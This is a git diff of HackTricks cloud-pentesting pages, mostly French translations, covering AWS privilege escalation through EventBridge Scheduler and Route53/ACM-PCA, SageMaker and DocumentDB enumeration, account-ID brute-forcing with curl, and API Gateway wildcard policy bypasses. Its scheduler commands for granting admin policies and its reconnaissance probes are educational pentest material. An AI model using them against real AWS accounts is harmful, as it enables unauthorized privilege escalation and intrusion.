{{#ref}} -../aws-services/eventbridgescheduler-enum.md +../../aws-services/eventbridgescheduler-enum.md {{#endref}} ### `iam:PassRole`, (`scheduler:CreateSchedule` | `scheduler:UpdateSchedule`) -Un attaquant avec ces permissions pourra **`créer`|`mettre à jour` un planificateur et abuser des permissions du rôle de planificateur** qui y est attaché pour effectuer n'importe quelle action. +Un attaquant disposant de ces permissions pourra **`create`|`update` un scheduler et abuser des permissions du rôle du scheduler** qui lui est attaché pour effectuer n'importe quelle action -Par exemple, ils pourraient configurer le plan pour **invoquer une fonction Lambda** qui est une action modélisée : +Par exemple, il pourrait configurer la schedule pour **invoquer une fonction Lambda** qui est une action templatisée : ```bash aws scheduler create-schedule \ --name MyLambdaSchedule \ @@ -25,7 +25,7 @@ aws scheduler create-schedule \ "RoleArn": "arn:aws:iam:::role/" }' ``` -En plus des actions de service modélisées, vous pouvez utiliser des **cibles universelles** dans EventBridge Scheduler pour invoquer un large éventail d'opérations API pour de nombreux services AWS. Les cibles universelles offrent la flexibilité d'invoquer presque n'importe quelle API. Un exemple peut être l'utilisation de cibles universelles ajoutant "**AdminAccessPolicy**", en utilisant un rôle qui a la politique "**putRolePolicy**" : +En plus des actions de service prédéfinies, vous pouvez utiliser **universal targets** dans EventBridge Scheduler pour invoquer un large éventail d'opérations API pour de nombreux services AWS. Les **universal targets** offrent la flexibilité d'invoquer quasiment n'importe quelle API. Un exemple consiste à utiliser **universal targets** pour ajouter "**AdminAccessPolicy**", en utilisant un rôle qui possède la stratégie "**putRolePolicy**" : ```bash aws scheduler create-schedule \ --name GrantAdminToTargetRoleSchedule \ @@ -42,4 +42,4 @@ aws scheduler create-schedule \ - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html) - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md deleted file mode 100644 index 5e1f210cc..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md +++ /dev/null @@ -1,32 +0,0 @@ -# AWS - Route53 Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -Pour plus d'informations sur Route53, consultez : - -{{#ref}} -../aws-services/aws-route53-enum.md -{{#endref}} - -### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate` - -> [!NOTE] -> Pour effectuer cette attaque, le compte cible doit déjà avoir une [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** configurée dans le compte, et les instances EC2 dans le(s) VPC doivent déjà avoir importé les certificats pour lui faire confiance. Avec cette infrastructure en place, l'attaque suivante peut être réalisée pour intercepter le trafic API AWS. - -D'autres autorisations **recommandées mais non requises pour la partie énumération** : `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs` - -En supposant qu'il y ait un VPC AWS avec plusieurs applications cloud-native communiquant entre elles et avec l'API AWS. Étant donné que la communication entre les microservices est souvent chiffrée en TLS, il doit y avoir une CA privée pour émettre les certificats valides pour ces services. **Si ACM-PCA est utilisé** pour cela et que l'adversaire parvient à **accéder au contrôle à la fois de route53 et de la CA privée acm-pca** avec le minimum d'autorisations décrites ci-dessus, il peut **détourner les appels d'application vers l'API AWS** en prenant le contrôle de leurs autorisations IAM. - -Cela est possible parce que : - -- Les SDK AWS n'ont pas de [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning) -- Route53 permet de créer des zones hébergées privées et des enregistrements DNS pour les noms de domaine des API AWS -- La CA privée dans ACM-PCA ne peut pas être restreinte à la signature uniquement des certificats pour des noms communs spécifiques - -**Impact potentiel :** Privesc indirect en interceptant des informations sensibles dans le trafic. - -#### Exploitation - -Trouvez les étapes d'exploitation dans la recherche originale : [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md new file mode 100644 index 000000000..3cc29a2b2 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md @@ -0,0 +1,32 @@ +# AWS - Route53 Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +For more information about Route53 check: + +{{#ref}} +../../aws-services/aws-route53-enum.md +{{#endref}} + +### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate` + +> [!NOTE] +> Pour réaliser cette attaque, le compte cible doit déjà avoir un [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** configuré dans le compte, et les instances EC2 dans le(s) VPC(s) doivent déjà avoir importé les certificats pour lui faire confiance. Avec cette infrastructure en place, l'attaque suivante peut être effectuée pour intercepter le trafic des API AWS. + +Other permissions **recommend but not required for the enumeration** part: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs` + +Assuming there is an AWS VPC with multiple cloud-native applications talking to each other and to AWS API. Since the communication between the microservices is often TLS encrypted there must be a private CA to issue the valid certificates for those services. **If ACM-PCA is used** for that and the adversary manages to get **access to control both route53 and acm-pca private CA** with the minimum set of permissions described above, it can **hijack the application calls to AWS API** taking over their IAM permissions. + +This is possible because: + +- AWS SDKs do not have [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning) +- Route53 allows creating Private Hosted Zone and DNS records for AWS APIs domain names +- Private CA in ACM-PCA cannot be restricted to signing only certificates for specific Common Names + +**Potential Impact:** Indirect privesc by intercepting sensitive information in the traffic. + +#### Exploitation + +Find the exploitation steps in the original research: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md deleted file mode 100644 index c51f8c769..000000000 --- a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md +++ /dev/null @@ -1,40 +0,0 @@ -# AWS - DocumentDB Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## DocumentDB - -Amazon DocumentDB, offrant une compatibilité avec MongoDB, est présenté comme un **service de base de données rapide, fiable et entièrement géré**. Conçu pour la simplicité de déploiement, d'exploitation et d'évolutivité, il permet la **migration et l'exploitation sans faille de bases de données compatibles MongoDB dans le cloud**. Les utilisateurs peuvent tirer parti de ce service pour exécuter leur code d'application existant et utiliser des pilotes et outils familiers, garantissant une transition et une opération fluides semblables à celles de MongoDB. - -### Enumeration -```bash -aws docdb describe-db-clusters # Get username from "MasterUsername", get also the endpoint from "Endpoint" -aws docdb describe-db-instances #Get hostnames from here - -# Parameter groups -aws docdb describe-db-cluster-parameter-groups -aws docdb describe-db-cluster-parameters --db-cluster-parameter-group-name - -# Snapshots -aws docdb describe-db-cluster-snapshots -aws --region us-east-1 --profile ad docdb describe-db-cluster-snapshot-attributes --db-cluster-snapshot-identifier -``` -### Injection NoSQL - -Comme DocumentDB est une base de données compatible avec MongoDB, vous pouvez imaginer qu'elle est également vulnérable aux attaques courantes par injection NoSQL : - -{{#ref}} -https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html -{{#endref}} - -### DocumentDB - -{{#ref}} -../aws-unauthenticated-enum-access/aws-documentdb-enum.md -{{#endref}} - -## Références - -- [https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/](https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md new file mode 100644 index 000000000..0b3949efd --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md @@ -0,0 +1,40 @@ +# AWS - DocumentDB Énumération + +{{#include ../../../../banners/hacktricks-training.md}} + +## DocumentDB + +Amazon DocumentDB, compatible avec MongoDB, est présenté comme un **service de base de données rapide, fiable et entièrement géré**. Conçu pour la simplicité du déploiement, de l'exploitation et de la scalabilité, il permet la **migration et l'exploitation transparentes de bases de données compatibles MongoDB dans le cloud**. Les utilisateurs peuvent tirer parti de ce service pour exécuter leur code applicatif existant et utiliser des drivers et outils familiers, garantissant une transition et une exploitation fluides, similaires à l'utilisation de MongoDB. + +### Énumération +```bash +aws docdb describe-db-clusters # Get username from "MasterUsername", get also the endpoint from "Endpoint" +aws docdb describe-db-instances #Get hostnames from here + +# Parameter groups +aws docdb describe-db-cluster-parameter-groups +aws docdb describe-db-cluster-parameters --db-cluster-parameter-group-name + +# Snapshots +aws docdb describe-db-cluster-snapshots +aws --region us-east-1 --profile ad docdb describe-db-cluster-snapshot-attributes --db-cluster-snapshot-identifier +``` +### NoSQL Injection + +Comme DocumentDB est une base de données compatible MongoDB, elle est également vulnérable aux attaques NoSQL injection courantes : + +{{#ref}} +https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html +{{#endref}} + +### DocumentDB + +{{#ref}} +../../aws-unauthenticated-enum-access/aws-documentdb-enum/README.md +{{#endref}} + +## Références + +- [https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/](https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md new file mode 100644 index 000000000..81cfb844e --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md @@ -0,0 +1,200 @@ +# AWS - SageMaker Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## Service Overview + +Amazon SageMaker est la plateforme ML gérée d'AWS qui relie notebooks, infrastructure de training, orchestration, registries et endpoints gérés. Une compromission des ressources SageMaker fournit typiquement : + +- Rôles d'exécution IAM longuement valides avec de larges accès à S3, ECR, Secrets Manager ou KMS. +- Accès à des jeux de données sensibles stockés dans S3, EFS ou dans des feature stores. +- Points d'appui réseau à l'intérieur de VPCs (Studio apps, training jobs, endpoints). +- URLs présignées à haute privilège qui contournent l'authentification console. + +Comprendre comment SageMaker est assemblé est essentiel avant de pivoter, persister ou exfiltrer des données. + +## Core Building Blocks + +- **Studio Domains & Spaces**: IDE web (JupyterLab, Code Editor, RStudio). Chaque domain a un système de fichiers EFS partagé et un rôle d'exécution par défaut. +- **Notebook Instances**: Instances EC2 gérées pour notebooks autonomes ; utilisent des rôles d'exécution séparés. +- **Training / Processing / Transform Jobs**: Conteneurs éphémères qui tirent du code depuis ECR et des données depuis S3. +- **Pipelines & Experiments**: Workflows orchestrés qui décrivent toutes les étapes, entrées et sorties. +- **Models & Endpoints**: Artefacts empaquetés déployés pour l'inférence via des endpoints HTTPS. +- **Feature Store & Data Wrangler**: Services gérés pour la préparation des données et la gestion des features. +- **Autopilot & JumpStart**: ML automatisé et catalogue de modèles sélectionnés. +- **MLflow Tracking Servers**: UI/API MLflow gérées avec tokens d'accès présignés. + +Chaque ressource référence un rôle d'exécution, des emplacements S3, des images de conteneur, et une configuration VPC/KMS optionnelle — capturez-les tous durant l'énumération. + +## Account & Global Metadata +```bash +REGION=us-east-1 +# Portfolio status, used when provisioning Studio resources +aws sagemaker get-sagemaker-servicecatalog-portfolio-status --region $REGION + +# List execution roles used by models (extend to other resources as needed) +aws sagemaker list-models --region $REGION --query 'Models[].ExecutionRoleArn' --output text | tr ' ' ' +' | sort -u + +# Generic tag sweep across any SageMaker ARN you know +aws sagemaker list-tags --resource-arn --region $REGION +``` +Notez toute relation de confiance inter-comptes (rôles d'exécution ou S3 buckets avec des principals externes) et les restrictions de base telles que les service control policies (SCPs). + +## Studio Domains, Apps & Shared Spaces +```bash +aws sagemaker list-domains --region $REGION +aws sagemaker describe-domain --domain-id --region $REGION +aws sagemaker list-user-profiles --domain-id-equals --region $REGION +aws sagemaker describe-user-profile --domain-id --user-profile-name --region $REGION + +# Enumerate apps (JupyterServer, KernelGateway, RStudioServerPro, CodeEditor, Canvas, etc.) +aws sagemaker list-apps --domain-id-equals --region $REGION +aws sagemaker describe-app --domain-id --user-profile-name --app-type JupyterServer --app-name default --region $REGION + +# Shared collaborative spaces +aws sagemaker list-spaces --domain-id-equals --region $REGION +aws sagemaker describe-space --domain-id --space-name --region $REGION + +# Studio lifecycle configurations (shell scripts at start/stop) +aws sagemaker list-studio-lifecycle-configs --region $REGION +aws sagemaker describe-studio-lifecycle-config --studio-lifecycle-config-name --region $REGION +``` +À enregistrer : + +- `DomainArn`, `AppSecurityGroupIds`, `SubnetIds`, `DefaultUserSettings.ExecutionRole`. +- EFS monté (`HomeEfsFileSystemId`) et répertoires home S3. +- Lifecycle scripts (contiennent souvent des identifiants bootstrap ou du code additionnel push/pull). + +> [!TIP] +> Presigned Studio URLs peuvent contourner l'authentification si elles sont accordées de manière trop large. + +## Notebook Instances & Lifecycle Configs +```bash +aws sagemaker list-notebook-instances --region $REGION +aws sagemaker describe-notebook-instance --notebook-instance-name --region $REGION +aws sagemaker list-notebook-instance-lifecycle-configs --region $REGION +aws sagemaker describe-notebook-instance-lifecycle-config --notebook-instance-lifecycle-config-name --region $REGION +``` +Les métadonnées du notebook révèlent : + +- Le rôle d'exécution (`RoleArn`), accès direct à Internet vs. en mode VPC uniquement. +- Emplacements S3 dans `DefaultCodeRepository`, `DirectInternetAccess`, `RootAccess`. +- Scripts de lifecycle susceptibles de contenir des credentials ou des hooks de persistance. + +## Jobs de Training, Processing, Transform et Batch +```bash +aws sagemaker list-training-jobs --region $REGION +aws sagemaker describe-training-job --training-job-name --region $REGION + +aws sagemaker list-processing-jobs --region $REGION +aws sagemaker describe-processing-job --processing-job-name --region $REGION + +aws sagemaker list-transform-jobs --region $REGION +aws sagemaker describe-transform-job --transform-job-name --region $REGION +``` +Examinez : + +- `AlgorithmSpecification.TrainingImage` / `AppSpecification.ImageUri` – quelles images ECR sont déployées. +- `InputDataConfig` & `OutputDataConfig` – les buckets S3, les préfixes et les clés KMS. +- `ResourceConfig.VolumeKmsKeyId`, `VpcConfig`, `EnableNetworkIsolation` – déterminer la posture réseau ou de chiffrement. +- `HyperParameters` peuvent leak des secrets d'environnement ou des chaînes de connexion. + +## Pipelines, Expériences et Essais +```bash +aws sagemaker list-pipelines --region $REGION +aws sagemaker list-pipeline-executions --pipeline-name --region $REGION +aws sagemaker describe-pipeline --pipeline-name --region $REGION + +aws sagemaker list-experiments --region $REGION +aws sagemaker list-trials --experiment-name --region $REGION +aws sagemaker list-trial-components --trial-name --region $REGION +``` +Les définitions de pipeline décrivent chaque étape, les rôles associés, les images de conteneur et les variables d'environnement. Les Trial components contiennent souvent des URI d'artefacts d'entraînement, des logs S3 et des métriques qui laissent entrevoir le flux de données sensibles. + +## Modèles, configurations d'endpoint & endpoints déployés +```bash +aws sagemaker list-models --region $REGION +aws sagemaker describe-model --model-name --region $REGION + +aws sagemaker list-endpoint-configs --region $REGION +aws sagemaker describe-endpoint-config --endpoint-config-name --region $REGION + +aws sagemaker list-endpoints --region $REGION +aws sagemaker describe-endpoint --endpoint-name --region $REGION +``` +- URIs S3 des artefacts de modèle (`PrimaryContainer.ModelDataUrl`) et images de conteneurs d'inférence. +- Configuration de la capture de données des endpoints (S3 bucket, KMS) pour une possible log exfil. +- Endpoints multi-modèles utilisant `S3DataSource` ou `ModelPackage` (vérifier le cross-account packaging). +- Configurations réseau et security groups attachés aux endpoints. + +## Feature Store, Data Wrangler & Clarify +```bash +aws sagemaker list-feature-groups --region $REGION +aws sagemaker describe-feature-group --feature-group-name --region $REGION + +aws sagemaker list-data-wrangler-flows --region $REGION +aws sagemaker describe-data-wrangler-flow --flow-name --region $REGION + +aws sagemaker list-model-quality-job-definitions --region $REGION +aws sagemaker list-model-monitoring-schedule --region $REGION +``` +Points de sécurité à retenir : + +- Les feature stores en ligne répliquent des données vers Kinesis ; vérifiez `OnlineStoreConfig.SecurityConfig.KmsKeyId` et la VPC. +- Les flows Data Wrangler contiennent souvent des identifiants JDBC/Redshift ou des endpoints privés intégrés. +- Les jobs Clarify/Model Monitor exportent des données vers S3 qui peuvent être publiquement lisibles ou accessibles depuis d'autres comptes. + +## MLflow Tracking Servers, Autopilot & JumpStart +```bash +aws sagemaker list-mlflow-tracking-servers --region $REGION +aws sagemaker describe-mlflow-tracking-server --tracking-server-name --region $REGION + +aws sagemaker list-auto-ml-jobs --region $REGION +aws sagemaker describe-auto-ml-job --auto-ml-job-name --region $REGION + +aws sagemaker list-jumpstart-models --region $REGION +aws sagemaker list-jumpstart-script-resources --region $REGION +``` +- Les serveurs de tracking MLflow stockent les expériences et artefacts ; les URLs présignées peuvent tout exposer. +- Les jobs Autopilot lancent plusieurs training jobs — énumérez les outputs à la recherche de données cachées. +- Les architectures de référence JumpStart peuvent déployer des rôles privilégiés dans le compte. + +## Considérations IAM & réseau + +- Enumérez les IAM policies attachées à tous les rôles d'exécution (Studio, notebooks, training jobs, pipelines, endpoints). +- Vérifiez les contextes réseau : subnets, security groups, VPC endpoints. De nombreuses organisations isolent les training jobs mais oublient de restreindre le trafic sortant. +- Examinez les politiques des buckets S3 référencées dans `ModelDataUrl`, `DataCaptureConfig`, `InputDataConfig` pour détecter un accès externe. + +## Privilege Escalation + +{{#ref}} +../../aws-privilege-escalation/aws-sagemaker-privesc/README.md +{{#endref}} + +## Persistence + +{{#ref}} +../../aws-persistence/aws-sagemaker-persistence/README.md +{{#endref}} + +## Post-Exploitation + +{{#ref}} +../../aws-post-exploitation/aws-sagemaker-post-exploitation/README.md +{{#endref}} + +## Unauthorized Access + +{{#ref}} +../aws-sagemaker-unauthorized-access/README.md +{{#endref}} + +## References + +- [AWS SageMaker Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/whatis.html) +- [AWS CLI SageMaker Reference](https://docs.aws.amazon.com/cli/latest/reference/sagemaker/index.html) +- [SageMaker Studio Architecture](https://docs.aws.amazon.com/sagemaker/latest/dg/gs-studio.html) +- [SageMaker Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/security.html) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md deleted file mode 100644 index 46520cf2d..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md +++ /dev/null @@ -1,43 +0,0 @@ -# AWS - Comptes Enum Non Authentifiés - -{{#include ../../../banners/hacktricks-training.md}} - -## Identifiants de compte - -Si vous avez une cible, il existe des moyens d'essayer d'identifier les identifiants de compte des comptes liés à la cible. - -### Force brute - -Vous créez une liste d'identifiants de compte et d'alias potentiels et les vérifiez. -```bash -# Check if an account ID exists -curl -v https://.signin.aws.amazon.com -## If response is 404 it doesn't, if 200, it exists -## It also works from account aliases -curl -v https://vodafone-uk2.signin.aws.amazon.com -``` -Vous pouvez [automatiser ce processus avec cet outil](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py). - -### OSINT - -Recherchez des URLs contenant `.signin.aws.amazon.com` avec un **alias lié à l'organisation**. - -### Marketplace - -Si un vendeur a **des instances sur le marketplace,** vous pouvez obtenir l'ID du propriétaire (ID de compte) du compte AWS qu'il a utilisé. - -### Snapshots - -- Snapshots EBS publics (EC2 -> Snapshots -> Public Snapshots) -- Snapshots RDS publics (RDS -> Snapshots -> All Public Snapshots) -- AMIs publics (EC2 -> AMIs -> Public images) - -### Erreurs - -De nombreux messages d'erreur AWS (même accès refusé) fourniront cette information. - -## Références - -- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md new file mode 100644 index 000000000..5c6010dac --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md @@ -0,0 +1,43 @@ +# AWS - Accounts Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## IDs de compte + +Si vous avez une cible, il existe des façons d'identifier les IDs des comptes liés à cette cible. + +### Brute-Force + +Vous créez une liste d'IDs de compte et d'aliases potentiels et les vérifiez +```bash +# Check if an account ID exists +curl -v https://.signin.aws.amazon.com +## If response is 404 it doesn't, if 200, it exists +## It also works from account aliases +curl -v https://vodafone-uk2.signin.aws.amazon.com +``` +Vous pouvez [automatiser ce processus avec cet outil](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py). + +### OSINT + +Recherchez des URLs contenant `.signin.aws.amazon.com` avec un **alias lié à l'organisation**. + +### Marketplace + +Si un fournisseur a des **instances sur le Marketplace,** vous pouvez obtenir l'owner id (account id) du compte AWS qu'il a utilisé. + +### Snapshots + +- Public EBS snapshots (EC2 -> Snapshots -> Public Snapshots) +- RDS public snapshots (RDS -> Snapshots -> All Public Snapshots) +- Public AMIs (EC2 -> AMIs -> Public images) + +### Errors + +De nombreux messages d'erreur AWS (même "access denied") fourniront cette information. + +## References + +- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md deleted file mode 100644 index 79a57bea6..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md +++ /dev/null @@ -1,52 +0,0 @@ -# AWS - API Gateway Unauthenticated Enum - -{{#include ../../../banners/hacktricks-training.md}} - -### Contournement de l'invocation de l'API - -Selon la présentation [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), les Lambda Authorizers peuvent être configurés **en utilisant la syntaxe IAM** pour donner des permissions d'invocation des points de terminaison API. Cela est tiré [**de la documentation**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Permission", -"Action": ["execute-api:Execution-operation"], -"Resource": [ -"arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path" -] -} -] -} -``` -Le problème avec cette façon de donner des permissions pour invoquer des points de terminaison est que le **"\*" implique "tout"** et qu'il **n'y a plus de syntaxe regex supportée**. - -Quelques exemples : - -- Une règle telle que `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` afin de donner à chaque utilisateur accès à `/dashboard/user/{username}` leur donnera accès à d'autres routes telles que `/admin/dashboard/createAdmin` par exemple. - -> [!WARNING] -> Notez que **"\*" ne cesse pas de s'étendre avec des barres obliques**, donc, si vous utilisez "\*" dans api-id par exemple, cela pourrait également indiquer "n'importe quelle étape" ou "n'importe quelle méthode" tant que la regex finale est toujours valide.\ -> Donc `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ -> Peut valider une requête post pour tester l'étape au chemin `/prod/GET/dashboard/admin` par exemple. - -Vous devez toujours avoir clairement en tête ce que vous souhaitez autoriser à accéder et ensuite vérifier si d'autres scénarios sont possibles avec les permissions accordées. - -Pour plus d'infos, en plus des [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), vous pouvez trouver du code pour implémenter des autorisateurs dans [**ce github officiel aws**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints). - -### Injection de politique IAM - -Dans la même [**discussion**](https://www.youtube.com/watch?v=bsPKk7WDOnE), il est exposé que si le code utilise **l'entrée utilisateur** pour **générer les politiques IAM**, des jokers (et d'autres tels que "." ou des chaînes spécifiques) peuvent y être inclus dans le but de **contourner les restrictions**. - -### Modèle d'URL publique -``` -https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided} -``` -### Obtenir l'ID de compte à partir de l'URL publique de l'API Gateway - -Tout comme avec les buckets S3, Data Exchange et les URL de passerelles Lambda, il est possible de trouver l'ID de compte d'un compte en abusant de la **`aws:ResourceAccount`** **Policy Condition Key** à partir d'une URL publique de l'API Gateway. Cela se fait en trouvant l'ID de compte un caractère à la fois en abusant des jokers dans la section **`aws:ResourceAccount`** de la politique.\ -Cette technique permet également d'obtenir **les valeurs des tags** si vous connaissez la clé du tag (il y en a quelques-unes par défaut intéressantes). - -Vous pouvez trouver plus d'informations dans la [**recherche originale**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) et l'outil [**conditional-love**](https://github.com/plerionhq/conditional-love/) pour automatiser cette exploitation. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md new file mode 100644 index 000000000..5dbbf78e9 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md @@ -0,0 +1,52 @@ +# AWS - API Gateway Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +### API Invoke bypass + +Selon la présentation [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), les Lambda Authorizers peuvent être configurés **en utilisant la syntaxe IAM** pour accorder l'autorisation d'invoquer des endpoints API. Ceci est tiré [**from the docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Permission", +"Action": ["execute-api:Execution-operation"], +"Resource": [ +"arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path" +] +} +] +} +``` +Le problème avec cette manière d'accorder des permissions pour invoquer des endpoints est que le **"\*" implique "tout"** et qu'il n'y a **plus de prise en charge de la syntaxe regex**. + +Some examples: + +- A rule such as `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` in order to give each user access to `/dashboard/user/{username}` will give them access to other routes such as `/admin/dashboard/createAdmin` for example. + +> [!WARNING] +> Note that **"\*" doesn't stop expanding with slashes**, therefore, if you use "\*" in api-id for example, it could also indicate "any stage" or "any method" as long as the final regex is still valid.\ +> So `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ +> Can validate a post request to test stage to the path `/prod/GET/dashboard/admin` for example. + +Vous devez toujours savoir exactement ce que vous voulez autoriser et ensuite vérifier si d'autres scénarios sont possibles avec les permissions accordées. + +Pour plus d'infos, apart of the [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), you can find code to implement authorizers in [**this official aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints). + +### IAM Policy Injection + +In the same [**talk** ](https://www.youtube.com/watch?v=bsPKk7WDOnE)it's exposed the fact that if the code is using **entrées utilisateur** to **générer les IAM policies**, wildcards (and others such as "." or specific strings) can be included in there with the goal of **contourner les restrictions**. + +### Modèle d'URL publique +``` +https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided} +``` +### Get Account ID from public API Gateway URL + +Tout comme pour les buckets S3, Data Exchange et les URL Lambda gateways, il est possible de trouver l'ID de compte d'un compte en abusant de la **`aws:ResourceAccount`** **Policy Condition Key** à partir d'une URL publique API Gateway. Cela se fait en découvrant l'ID caractère par caractère en abusant des jokers dans la section **`aws:ResourceAccount`** de la policy.\ +Cette technique permet également d'obtenir **les valeurs des tags** si vous connaissez la clé du tag (il y en a quelques-unes par défaut intéressantes). + +Vous pouvez trouver plus d'informations dans la [**original 